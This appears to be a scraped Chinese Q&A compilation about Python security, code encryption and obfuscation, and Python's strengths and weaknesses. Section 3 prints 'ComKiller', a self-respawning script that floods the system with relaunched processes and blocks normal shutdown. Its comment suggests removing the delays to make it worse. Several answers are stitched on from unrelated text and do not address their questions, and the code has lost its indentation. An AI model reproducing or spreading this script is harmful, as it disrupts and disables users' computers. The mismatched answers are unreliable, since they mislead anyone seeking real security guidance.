python代码安全

1. python安全要学什么库

一、Python开发基础

Python全栈开发与人工智能之Python开发基础知识学习内容包括：

Python基础语法、数据类型、字符编码、文件操作、函数、装饰器、迭代器、内置方法、常用模块等。

二、Python高级编程和数据库开发

Python全栈开发与人工智能之Python高级编程和数据库开发知识学习内容包括：

面向对象开发、Socket网络编程、线程、进程、队列、IO多路模型、Mysql数据库开发等。

语言特点

速度快：Python的底层是用C语言写的，很多标准库和第三方库也都是用C写的，运行速度非常快。

免费、开源：Python是FLOSS（自由／开放源码软件）之一。使用者可以自由地发布这个软件的拷贝、阅读它的源代码、对它做改动、把它的一部分用于新的自由软件中。FLOSS是基于一个团体分享知识的概念。

高层语言：用Python语言编写程序的时候无需考虑诸如如何管理你的程序使用的内存一类的底层细节。

2. python代码问题。

1. 如果在是Python解释器里运行的话，没有问题。“X,L”就是打印出X,L的值。问题应该在最后一行的X,L，如果在写成一个脚本由Python执行的话，就不能这么写了。要用"print X,L"明确告诉Python输出X,L的值。

2. Python(英语发音:/ˈpaɪθən/), 是一种面向对象、解释型计算机程序设计语言，由Guido van Rossum于1989年底发明，第一个公开发行版发行于1991年，Python 源代码同样遵循 GPL(GNU General Public License)协议。Python语法简洁而清晰，具有丰富和强大的类库。它常被昵称为胶水语言，能够把用其他语言制作的各种模块(尤其是C/C++)很轻松地联结在一起。常见的一种应用情形是，使用Python快速生成程序的原型(有时甚至是程序的最终界面)，然后对其中有特别要求的部分，用更合适的语言改写，比如3D游戏中的图形渲染模块，性能要求特别高，就可以用C/C++重写，而后封装为Python可以调用的扩展类库。需要注意的是在您使用扩展类库时可能需要考虑平台问题，某些可能不提供跨平台的实现。

3. 折叠在Python中学习机器学习的四个步骤：

1、首先你要使用书籍、课程、视频来学习 Python 的基础知识[2]

2、然后你必需掌握不同的模块，比如 Pandas、Numpy、Matplotlib、NLP (自然语言处理)，来处理、清理、绘图和理解数据。

3、接着你必需能够从网页抓取数据，无论是通过网站API，还是网页抓取模块Beautiful Soap。通过网页抓取可以收集数据，应用于机器学习算法。

4、最后一步，你必需学习机器学习工具，比如 Scikit-Learn，或者在抓取的数据中执行机器学习算法(ML-algorithm)。

3. python能写病毒或者木马什么的吗

# 这是一个小病毒，名叫ComKiller(计算机杀手)
# 效果：运行约10秒后无法正常关机
# 注：把那两行 time.sleep(0.1) 去掉效果更好哦:)
import os
import signal
import ctypes
import time
import threading
from pathlib import Path

def help_sos():
cmdr = os.system("start python %s" % FileName)

def Error():
while True:
try:
help_sos()
except BaseException:
help_sos()
time.sleep(0.1)

signal.signal(signal.SIGTERM, help_sos)
FileName = Path(__file__).name
while True:
time.sleep(1)
T = threading.Thread(target = Error, args = ())
T.start()
#仅用于娱乐，干什么非法的事情和我无关！

4. Python有什么缺点呢

1. - 运行速度慢，因为Python是解释型语言，是一种高级语言，代码会在执行的时候，一行一行的使用解释器翻译成底层代码，翻译成机器码，而这个过程非常耗时，所以他运行过程中，比很多语言的代码都慢了很多。
- 线程不能利用多CPU，这是Python最大的确定，GIL即全局解释器锁（Global Interpreter Lock），是计算机程序设计语言解释器用于同步线程的工具，使得任何时刻仅有一个线程在执行，Python的线程是操作系统的原生线程。在linux上为pthread，在Windows上为Win thread，完全由操作系统调度线程的执行。一个python解释器进程内有一条主线程，以及多条用户程序的执行线程。即使在多核CPU平台上，由于GIL的存在，所以禁止多线程的并行执行。
Python的优缺点可以看看传智播客的社区，里面很多技术老师写的相关文章。并且有学习线路图适合小白学习，每个板块下面都有配套视频。

5. 动态Python代码注入怎么做才能预防安全性

比如说, 文件处理时, 经常习惯取个变量path, 但又经常from os import path
可以这么用:
import os.path
# import os.path后, 使用时, 需要完整输入os.path
# 相对于import os总模块而言, import os.path能避免无用的引入
path = os.path.join("/tmp", filename)

6. python写的程序能加密吗

使用pyinstaller太麻烦，可以使用pymod.

先睹为快，看看一个项目发布的时候，只有几个文件，

main.py 项目程序入口

setting.py 项目配置

apps 项目模块

plusins 项目插件目录

pymod 使用指南，访问https://pymod.cn

7. 怎样对 Python 源码加密

代码加密
大概整理了以下几种方法：
编译成pyc文件
使用py2exe将python代码转成window下执行的exe文件
关键代码部分使用c或者c++写，然后在python中调用
用C写一个license，进行license验证
作为一门解释型的语言，加密的难度超级大。下面来简单分析上面的解决方案：
编译成pyc文件几乎跟pyc没有区别，保护力度太低
要是在linux机器上就没法使用，而且这种exe文件也可以被破解的
核心代码部分是计算密集型，用的是pandas，numpy等库，用c重写，简直不可能，工作量太大。
没搞过，不知道………
看来上面的解决方案都是不行的，在stackoverflow上对这个问题也进行了详细的讨论，用我蹩脚的英文来翻译（意译）一下得票率最高的:
“有什么方法来解决这个问题吗？（加密的问题）”没有。任何保护都可以被逆向工程破解。就连DVD机的固件都可以被破解，尽管法律判定其为非法，但是AACS加密密钥还是泄露出来。
因为没有技术的方法可以阻止你的客户看你的代码，你必须用传统的商业方法。
1. 许可证，合约，条款，条件。只要用户签订了这些东西，及时用户可以看见代码，也会有法律约束（不过此建议在中国目前貌似不顶用）
2. 提供巨大的价值。如果你的东西非常好，而且价格很合理，那么用户很难拒绝——没必要浪费时间和金钱去搞逆向工程啥的，因为逆向工程是很费银子的。让你的产品有足够的性价比。
3. 经常性的升级和增加新的功能，使得逆向工程不那么好使。当下一个版本破坏了逆向工程，那么以前的破解就没有意义了。
4. 定制化生产，为不同的客户提供不同的产品。（貌似代价有点高啊）
5. 使用有时间限制的许可证，这会给你带来不好的名声，但是会保证你的软件会停止工作
6. 设计为web service.
代码混淆
既然加密不是一个好方法，那要还是不死心，那就做一个简单的混淆算了，虽然只能”防君子，不防小人“。但是不能就这样把代码暴露出来。
这里推荐一个找了好久的东西： pyobfuscate这个东西在window7中的cmd中貌似总是混淆失败，无奈用了MINGW32，居然搞定了。官方的资料有这样的介绍：
pyobfuscate有几种转化代码的方式，有些可逆，有些不可逆。
移除注释和文档 ( 不可逆）
改变缩进（可逆）
在tokens之间加入空格（一定程度上可逆）
重命名函数，类，和变量（不可逆）
在空白行中加入无效的代码
我没有选择混淆函数名和类名，因为其他地方还要调用呢。下面是我混淆的结果，还挺好看的：
def my_fuction_to_test ( self , start_date , end_date ) :
iiiii11iII1 = self . get_something ( start_date , end_date )
O0o = [ ]
for oO0 in iiiii11iII1 :
if oO0 [ "isOpen" ] == 1 :
IIIi1i1I = { }
OOoOoo00oo = dt . strptime ( oO0 [ 'calendarDate' ] , '%Y-%m-%d' )
IIIi1i1I [ 'day' ] = OOoOoo00oo . strftime ( '%Y%m%d' )
IIIi1i1I [ 'week' ] = oO0 [ 'isWeekEnd' ]
IIIi1i1I [ 'month' ] = oO0 [ 'isMonthEnd' ]
IIIi1i1I [ 'weekday' ] = OOoOoo00oo . weekday ( )
O0o . append ( IIIi1i1I )
iiI11 = pd . DataFrame ( O0o )
return iiI11

8. PHP、python的源码如何保护

不管怎么加密，遇到你说的员工泄露或服务器入侵，都是没用的，只不过花点时间破解而已。只要前端用户无法直接获得后台代码，通常就认为是安全的，至于员工泄露或被入侵的问题，需要通过其他途径去解决，而不是着眼于源代码的加密，因为这种脚本语言不管怎么折腾，最终都要以明码的形式被解析执行的，所以很容就能破解

9. python有哪些特点和优点

显着的优点

Python 语言拥有诸多的优点，这其中，以下几个优点特别显着：

简单易学：Python语言相对于其他编程语言来说，属于比较容易学习的一门编程语言，它注重的是如何解决问题而不是编程语言的语法和结构。正是因为Python语言简单易学，所以，已经有越来越多的初学者选择Python语言作为编程的入门语言。例如，在浙江省 2017年高中信息技术改革中，《算法与程序设计》课程将使用 Python语言替换原有的VB 语言。

语法优美：Python语言力求代码简洁、优美。在Python语言中，采用缩进来标识代码块，通过减少无用的大括号，去除语句末尾的分号等视觉杂讯，使得代码的可读性显着提高。阅读一段良好的Python程序就感觉像是在读英语一样，它使你能够专注于解决问题，而不用太纠结编程语言本身的语法。

丰富强大的库：Python语言号称自带电池(Battery Included)，寓意是Python语言的类库非常的全面，包含了解决各种问题的类库。无论实现什么功能，都有现成的类库可以使用。如果一个功能比较特殊，标准库没有提供相应的支持，那么，很大概率也会有相应的开源项目提供了类似的功能。合理使用Python的类库和开源项目，能够快速的实现功能，满足业务需求。

开发效率高：Python的各个优点是相辅相成的。例如，Python语言因为有了丰富强大的类库，所以，Python的开发效率能够显着提高。相对于 C、C++ 和 Java等编译语言，Python开发者的效率提高了数倍。实现相同的功能，Python代码的文件往往只有 C、C++和Java代码的1/5~1/3。虽然Python语言拥有很多吸引人的特性，但是，各大互联网公司广泛使用Python语言，很大程度上是因为Python语言开发效率高这个特点。开发效率高的语言，能够更好的满足互联网快速迭代的需求，因此，Python语言在互联网公司使用非常广泛。

应用领域广泛：Python语言的另一大优点就是应用领域广泛，工程师可以使用Python 做很多的事情。例如，Web开发、网络编程、自动化运维、Linux系统管理、数据分析、科学计算、人工智能、机器学习等等。Python语言介于脚本语言和系统语言之间，我们根据需要，既可以将它当做一门脚本语言来编写脚本，也可以将它当做一个系统语言来编写服务。

不可忽视的缺点

毫无疑问，Python确实有用很多的优点，每一个优点看起来都非常吸引人。但是，Python并不是没有缺点的，最主要的缺点有以下几个：

Python的执行速度不够快。当然，这也不是一个很严重的问题，一般情况下，我们不会拿Python语言与C/C++这样的语言进行直接比较。在Python语言的执行速度上，一方面，网络或磁盘的延迟，会抵消掉部分Python本身消耗的时间；另一方面，因为Python 特别容易和C结合起来，因此，我们可以通过分离一部分需要优化速度的应用，将其转换为编译好的扩展，并在整个系统中使用Python脚本将这部分应用连接起来，以提高程序的整体效率。

Python的GIL锁限制并发：Python的另一个大问题是，对多处理器支持不好。如果读者接触Python时间比较长，那么，一定听说过GIL这个词。GIL是指Python全局解释器锁（Global Interpreter Lock），当Python的默认解释器要执行字节码时，都需要先申请这个锁。这意味着，如果试图通过多线程扩展应用程序，将总是被这个全局解释器锁限制。当然，我们可以使用多进程的架构来提高程序的并发，也可以选择不同的Python实现来运行我们的程序。

Python 2与Python 3不兼容： 如果一个普通的软件或者库，不能够做到后向兼容，那么，它会被用户无情的抛弃了。在Python中，一个槽点是Python 2与Python 3不兼容。因为Python没有向后兼容，给所有的Python工程师带来了无数的烦恼。

上述就是总结的Python语言的优缺点。总体来说，Python目前的发展还是非常不错的。借着人工智能时代的东风，Python开发人员的未来一定会很光明。

10. “Python”有什么缺点

python的整个系统，我其实有非常多的不满。但是用任何一门语言都是取舍问题，如果有一门语言，库够多，已读，易用，性能高，我毫不犹豫立刻转过去。python的强处在于庞大的库，还有非常好的易读和易用性。但是相比来说，性能一直是个问题。python的实现性能大约和C相差五倍上下。如果是大规模计算问题，大约能差10倍以上。当然，我们可以写C扩展，但是这就不是使用python了。我们也可以说，很多时候我们不需要这么快的速度。这是个事实，但是不改变python性能差的事实。 python不但性能差，还有GIL这个玩意。以至于我现在对高并发计算都采取多进程的模式。多进程模式的通讯效率肯定比多线程低，而且麻烦。
另外，python在底层设计上，也表现出很强的实用主义倾向。这是比较外交术语的词汇，更加直白的说法应当是，混乱，不知所谓。在闭包设计上采用free variable设计，而不是lisp中的environs设计。区别？你试试看在外层闭包中from lib import *。由于引入不定个数名称，free variable无法处理。类似的问题还有LEGB规则，新手往往要花很长时间研究这个例子究竟是怎么错的： a = 1 def f(): print a a = 2 我勒个去，这种反直观反人类的事情都有，还敢说自己易读。